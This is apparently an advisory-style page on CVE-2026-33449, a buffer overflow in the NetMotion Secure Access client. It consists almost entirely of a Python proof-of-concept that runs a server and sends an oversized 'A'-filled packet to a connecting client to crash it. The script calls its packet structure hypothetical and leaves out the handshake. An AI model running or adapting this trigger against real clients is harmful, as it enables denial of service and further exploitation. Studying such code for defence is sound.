CVE-2026-33449 NetMotion Secure Access客户端缓冲区溢出漏洞

import socket import struct import time # Conceptual PoC for CVE-2026-33449 # Note: Actual exploitation requires a valid cryptographic context which is omitted here. # This demonstrates the network interaction to trigger the buffer overflow. def create_malicious_packet(): # Construct a packet header (Hypothetical structure) # [Length: 4 bytes][Type: 2 bytes][Flags: 2 bytes] msg_type = 0x05 # Hypothetical message type for 'Keep Alive' or 'Config' flags = 0x00 # The overflow trigger: A payload size larger than the allocated buffer. # Assuming the buffer is 256 bytes, we send 300. payload_size = 300 payload = b"\x41" * payload_size # Filling with 'A' header = struct.pack("!IHH", payload_size, msg_type, flags) return header + payload def run_exploit(listen_ip, listen_port): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind((listen_ip, listen_port)) server.listen(5) print(f"[*] Listening on {listen_ip}:{listen_port} waiting for client connection...") while True: client, addr = server.accept() print(f"[+] Connection accepted from {addr[0]}:{addr[1]}") # Simulate handshake (omitted for brevity) time.sleep(1) # Send the malicious payload evil_packet = create_malicious_packet() client.send(evil_packet) print(f"[*] Sent payload of length {len(evil_packet)} bytes.") print("[*] Check client for crash.") client.close() # In a real scenario, the server might stop or loop break except Exception as e: print(f"[-] Error: {e}") finally: server.close() if __name__ == "__main__": # The vulnerable client must be configured to connect to this IP/Port run_exploit("0.0.0.0", 4433)